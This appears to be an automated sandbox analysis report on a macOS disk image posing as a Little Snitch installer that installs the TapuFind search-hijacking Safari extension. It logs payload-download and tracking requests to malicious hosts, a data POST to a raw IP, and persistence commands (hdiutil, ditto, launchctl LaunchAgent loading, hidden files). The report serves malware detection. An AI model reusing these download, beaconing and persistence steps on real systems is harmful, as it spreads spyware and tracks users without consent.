Source: global traffic	HTTP traffic detected: GET /cf/oq?cid=3gggkfl1b0pp5pt5sadh&f=setup&uu=lIaJhrzOpHZ6hXV2eXqMfXp6gXc= HTTP/1.1Connection: keep-aliveHost: tusak.rached.space
Source: global traffic	HTTP traffic detected: GET /mmecw/qqvdwx?cid=3gggkfl1b0pp5pt5sadh&f=setup&pvhid=36264242-8135-4590-9915-e3e977081c0c HTTP/1.1Connection: keep-aliveHost: www.rached.space
Source: global traffic	HTTP traffic detected: GET /download/downloaddm?com=df68d247-e9f2-42fa-b681-f63a4bb6ab50&=&f=setup&cifd=3gggkfl1b0pp5pt5sadh&sidw=df68d247-e9f2-42fa-b681-f63a4bb6ab50 HTTP/1.1Connection: keep-aliveHost: www.oplurb.space
Source: global traffic	HTTP traffic detected: GET /MaxMind.asmx/GetGeoInfo HTTP/1.1Host: cloud-search.linkury.comAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Source: global traffic	HTTP traffic detected: GET /StateStatisticsService.svc/V1/JSON/GetDistributorIdFromNameHttpGet?distributorName=mcwnet HTTP/1.1Host: svc-stats.linkury.comAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Source: global traffic	HTTP traffic detected: GET /tpmac.html?_publisher=mcwnet&_barcodeid=52413004&_deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&_installDate=14-02-2019 HTTP/1.1Host: search.tapufind.comUpgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /MaxMind.asmx/GetGeoInfo HTTP/1.1Host: madmax.macapproduct.comAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: tapufind (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Source: global traffic	HTTP traffic detected: GET /tpmac.html?q= HTTP/1.1Host: search.tapufind.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Upgrade-Insecure-Requests: 1Cookie: _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OolePTLz-gpC4fFENArXjXOKtxlSolwZzKvztNbvkqXoIQzwLhtCZ01IeMYZE8p3MokiKZQ25VtmqQ7xMDUGu5xssIVE-2pe89knPY0TNfSSALHPXIbkjNFqbePLX5bkr7M5Cz6jzaQ7It7cho,User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: feed.tapufind.comUpgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /?publisher=tapufindsf&feedid=infospace&dpid=yhs&hsimp=yhs-newtab&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH&type=YHS_TAPHP_100 HTTP/1.1Host: search.tapufind.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Upgrade-Insecure-Requests: 1Cookie: _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OolePTLz-gpC4fFENArXjXOKtxlSolwZzKvztNbvkqXoIQzwLhtCZ01IeMYZE8p3MokiKZQ25VtmqQ7xMDUGu5xssIVE-2pe89knPY0TNfSSALHPXIbkjNFqbePLX5bkr7M5Cz6jzaQ7It7cho,User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /?q= HTTP/1.1Host: search.tapufind.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Upgrade-Insecure-Requests: 1Cookie: co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnetUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /js/classList.js?v=6 HTTP/1.1Host: search.tapufind.comAccept: /Connection: keep-aliveCookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnetUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /Pixel.aspx?name=TapuFind&type=extensioninstalled&browser=false&entity=31&barcode=52413004&userid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&data1=true HTTP/1.1Host: feed.tapufind.comAccept: /Cookie: SmFeedSearchParams=useragentbrowser=safari&u_ip=185.189.150.72&$host=feed.tapufind.com&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH; feeduid=syn_d955cead-824c-4550-9e89-02e36ed3c263User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /js/auto-complete.js?v=6 HTTP/1.1Host: search.tapufind.comAccept: /Connection: keep-aliveCookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnetUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /js/preloadjs-0.6.2.min.js?v=6 HTTP/1.1Host: search.tapufind.comAccept: /Connection: keep-aliveCookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnetUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /js/main.js?v=6 HTTP/1.1Host: search.tapufind.comAccept: /Connection: keep-aliveCookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnetUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /tag?zone_id=58942&size=300x250&pub_keyword=&context=syn_d955cead-824c-4550-9e89-02e36ed3c263&rnd=75329692 HTTP/1.1Host: display.online-adnetwork.comConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /imp?i=a3Ul5KJ911U_0 HTTP/1.1Host: display.online-adnetwork.comConnection: keep-aliveAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.js HTTP/1.1Host: static.criteo.netConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /delivery/ajs.php?ptv=63&zoneid=296021&cb=21558021369&nodis=1&charset=UTF-8&dc=3&atfr=1&loc=http%3A%2F%2Fsearch.tapufind.com%2F%3Fq%3D HTTP/1.1Host: cas.criteo.comConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /tag?zone_id=11521&size=300x250&j=pu%3Dsearch.tapufind.com%26if%3D0%26rn%3D60494450 HTTP/1.1Host: display.online-adnetwork.comConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /delivery/lg.php?cppv=1&cpp=vjv2WXxBdUJ1d0t1Ty9lVTQxZXFNWUlPQ2FMMllLc3FVM2U0TE1WRXdoa2loWThvbm1KT2tXaStHYXNNUEVkNyt1MWdTcVZGa1U4NHFCWk0xWlJ6a1ByQVRSUURhOHVNaDcvZ0plZ0dSUWlFazlzMVhwc1UwNk9KeGY1WThFSGxjR0E0UlhqRTNtU2luMWg4MFR5cGo5TVowdDI1UXk5dEN2MDdKaXpPN0RyYnIyQStsRzEreXlwNDEwRXBVS3RRVHFqZTh0dG4zS3hpYmJHc0xSSzY1RnJGNURnPT18 HTTP/1.1Host: cat.fr.eu.criteo.comConnection: keep-aliveAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /imp?i=6cy8GQVa6Zc_0 HTTP/1.1Host: display.online-adnetwork.comConnection: keep-aliveAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7Accept-Language: en-usReferer: http://search.tapufind.com/?q=Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /MFgwVqADAgEAME8wTTBLMAkGBSsOAwIaBQAEFH7maudymrP8%2BKIgZGwWoS1gcQhdBBSoSmpjBH3duubRObemRWXv86jsoQISA05%2FLr%2B8wuv7zvqr86TvKiUl HTTP/1.1Host: ocsp.int-x3.letsencrypt.orgConnection: closeUser-Agent: trustd (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: install.osxappdownload.com

Posts data to webserver

Show sources

Source: unknown

HTTP traffic detected: POST /loadPE/getOffers.php HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 809Expect: 100-continueConnection: keep-aliveHost: 34.225.153.59:10000

Urls found in memory or binary data

Show sources

Source: setup.dmg	String found in binary or memory: http://bugzilla.xamarin.com
Source: setup.dmg	String found in binary or memory: http://bugzilla.xamarin.com%
Source: setup.dmg	String found in binary or memory: http://bugzilla.xamarin.com%s//%s%s/%sXamarin.Mac:
Source: setup.dmg	String found in binary or memory: http://crl.apple.com/root.crl0
Source: setup.dmg	String found in binary or memory: http://docs.xamarin.com/ios/about/limitations
Source: setup.dmg	String found in binary or memory: http://ios.xamarin.com/Documentation/Limitations#Reverse_Callbacks
Source: setup.dmg	String found in binary or memory: http://ios.xamarin.com/Documentation/Limitations#Reverse_Callbackssig-
Source: setup.dmg	String found in binary or memory: http://ocsp.apple.com/ocsp03-wwdr090
Source: setup.dmg	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: setup.dmg	String found in binary or memory: http://www.apple.com/certificateauthority0
Source: setup.dmg	String found in binary or memory: http://www.gexf.net/1.2draft
Source: setup.dmg	String found in binary or memory: http://www.go-mono.com/mono-downloads/download.html
Source: setup.dmg	String found in binary or memory: http://www.mono-project.com/Diagnostic:Delegate
Source: setup.dmg	String found in binary or memory: http://www.mono-project.com/download.
Source: setup.dmg	String found in binary or memory: https://www.apple.com/appleca/0

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49340
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49339
Source: unknown	Network traffic detected: HTTP traffic on port 49346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49333
Source: unknown	Network traffic detected: HTTP traffic on port 49289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49349

System Summary:

Sample file is different than original file name gathered from version info

Show sources

Source: setup.dmg	Binary or memory string: originalfilename vs setup.dmg
Source: setup.dmg	Binary or memory string: \StringFileInfo\%02X%02X%02X%02X\OriginalFilename vs setup.dmg
Source: setup.dmg	Binary or memory string: UnhandledExceptionEventArgsSTAThreadAttributeargsarg->vtable->klass == mono_defaults.int_classtype 0x%x not handled in mono_runtime_invoke_arraySystem.Runtime.Remoting.ActivationActivationServicesToStringfilenameThis system does not support EnumProcessesProcessModulebaseaddrentryaddrmemory_sizemodulenameversion_infoFileVersionInfo[In Memory] %sfilemajorpartfileminorpartfilebuildpartfileprivatepartproductmajorpartproductminorpartproductbuildpartproductprivatepartisdebugisprereleaseispatchedisprivatebuildisspecialbuild\VarFileInfo\Translationlanguagecomments\StringFileInfo\%02X%02X%02X%02X\Commentscompanyname\StringFileInfo\%02X%02X%02X%02X\CompanyNamefiledescription\StringFileInfo\%02X%02X%02X%02X\FileDescriptionfileversion\StringFileInfo\%02X%02X%02X%02X\FileVersioninternalname\StringFileInfo\%02X%02X%02X%02X\InternalNamelegalcopyright\StringFileInfo\%02X%02X%02X%02X\LegalCopyrightlegaltrademarks\StringFileInfo\%02X%02X%02X%02X\LegalTrademarksoriginalfilename\StringFileInfo\%02X%02X%02X%02X\OriginalFilenamepri

Classification label

Show sources

Source: classification engine

Classification label: mal88.troj.spyw.evad.macDMG@0/49@46/0

Data Obfuscation:

Imports the IOKit library (often used to register services)

Show sources

Source: initial sample	Static MACH information: dylib_command -> /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
Source: initial sample	Static MACH information: dylib_command -> /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit

Persistence and Installation Behavior:

Attaches disk images with shell command 'hdiutil'

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Hdiutil command executed: /usr/bin/hdiutil attach /Users/henry/Library/X2441139MAC/Temp/mcwnet -nobrowse	Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Hdiutil command executed: /usr/bin/hdiutil attach /Users/henry/Library/X2441139MAC/Temp/track_mac.php%3Fcc={GEO}%26clickId={clickId}%26affId={affId}%26transId=3gggkfl1b0pp5pt5sadh -nobrowse	Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Hdiutil command executed: /usr/bin/hdiutil attach /Users/henry/Library/X2441139MAC/Temp/chs -nobrowse	Jump to behavior

Installs Safari extensions

Show sources

Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)

Safari extension file moved: /private/tmp/SafariSetter.safariextz -> /Users/henry/Library/Safari/Extensions/TapuFind.safariextz

Jump to behavior

Writes Mach-O files to untypical directories

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)

64-bit Mach-O written to unusual path: /Users/henry/Library/Application Support/Agent/tapufind

Jump to dropped file

Changes permissions of written Mach-O files

Show sources

Source: /usr/bin/ditto (PID: 673)	Permissions modified for written 64-bit Mach-O /private/tmp/macsearch.app/Contents/MacOS/.BC.T_5fp5Ob: bits: - usr: - grp: - all: rwx			Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Permissions modified for written 64-bit Mach-O /Users/henry/Library/Application Support/Agent/tapufind: bits: - usr: rwx grp: rwx all: rwx			Jump to dropped file

Copies directory hierarchies, creates and/or extracts archives with shell command 'ditto'

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)

Ditto command executed: /usr/bin/ditto /Volumes/macsearch/ /tmp/

Jump to behavior

Creates application bundles

Show sources

Source: /usr/bin/ditto (PID: 673)

Bundle Info.plist file moved: /private/tmp/macsearch.app/Contents/.BC.T_8EnSAw -> /private/tmp/macsearch.app/Contents/Info.plist

Jump to behavior

Creates hidden files, links and/or directories

Show sources

Source: /usr/bin/ditto (PID: 673)	Hidden file created: /private/tmp/macsearch.app/Contents/.BC.T_8EnSAw	Jump to behavior
Source: /usr/bin/ditto (PID: 673)	Hidden file created: /private/tmp/macsearch.app/Contents/MacOS/.BC.T_5fp5Ob	Jump to behavior
Source: /usr/bin/ditto (PID: 673)	Hidden file created: /private/tmp/macsearch.app/Contents/.BC.T_6vxTVo	Jump to behavior
Source: /usr/bin/ditto (PID: 673)	Hidden file created: /private/tmp/macsearch.app/Contents/Resources/Base.lproj/.BC.T_g27T4p	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /tmp/.dat.nosync02b9.9vvQhe	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /tmp/tapufind/.dat.nosync02b9.o9GXrL	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /tmp/tapufind/.dat.nosync02b9.IwDBz8	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.Xbmr58	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /tmp/tapufind/.dat.nosync02b9.raddFF	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /tmp/tapufind/.dat.nosync02b9.sOJfNr	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.u0j70j	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /tmp/tapufind/.dat.nosync02b9.DAOwrT	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden file created: /Users/Shared/.dat.nosync02b9.Mi0YZK	Jump to behavior
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	Hidden file created: /Users/henry/Library/Safari/Favicon Cache/favicons/.dat.nosync02be.xXJadS	Jump to behavior
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	Hidden file created: /Users/henry/Library/Safari/Extensions/.dat.nosync02be.9uS08Z	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	Hidden file created: /Users/Shared/.dat.nosync02c9.zBHRPM	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	Hidden file created: /Users/henry/Library/Application Support/Agent/.dat.nosync02c9.0oMHxI	Jump to behavior

Executes commands using a shell command-line interpreter

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Shell command executed: sh -c open -a safari 'http://search.tapufind.com/tpmac.html?_publisher=mcwnet&_barcodeid=52413004&_deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&_installDate=14-02-2019'			Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Shell command executed: sh -c open -a safari /tmp/SafariSetter.safariextz			Jump to behavior

Explicitly lists launch services possibly for searching

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon listed: /bin/launchctl list	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon listed: /bin/launchctl list	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon listed: /bin/launchctl list	Jump to behavior

Explicitly loads/starts launch services

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon loaded: /bin/launchctl load /Users/henry/Library/LaunchAgents/tapufind.plist			Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon loaded: /bin/launchctl load /Users/henry/Library/LaunchAgents/tapufind.plist			Jump to behavior

Opens applications that may be created ones

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Application opened: /usr/bin/open /Volumes/InstallMe/Installer.app			Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Application opened: /usr/bin/open /Volumes/Volumes/SetupInstaller/'Click\ Here\ To\ Install.app'			Jump to behavior

Opens the Safari browser app

Show sources

Source: /usr/libexec/xpcproxy (PID: 702)

Safari app opened: /Applications/Safari.app/Contents/MacOS/Safari

Jump to behavior

Reads launchservices plist files

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Launchservices plist file read: /Users/henry/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 659)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 661)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper (PID: 664)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper (PID: 681)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper (PID: 692)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
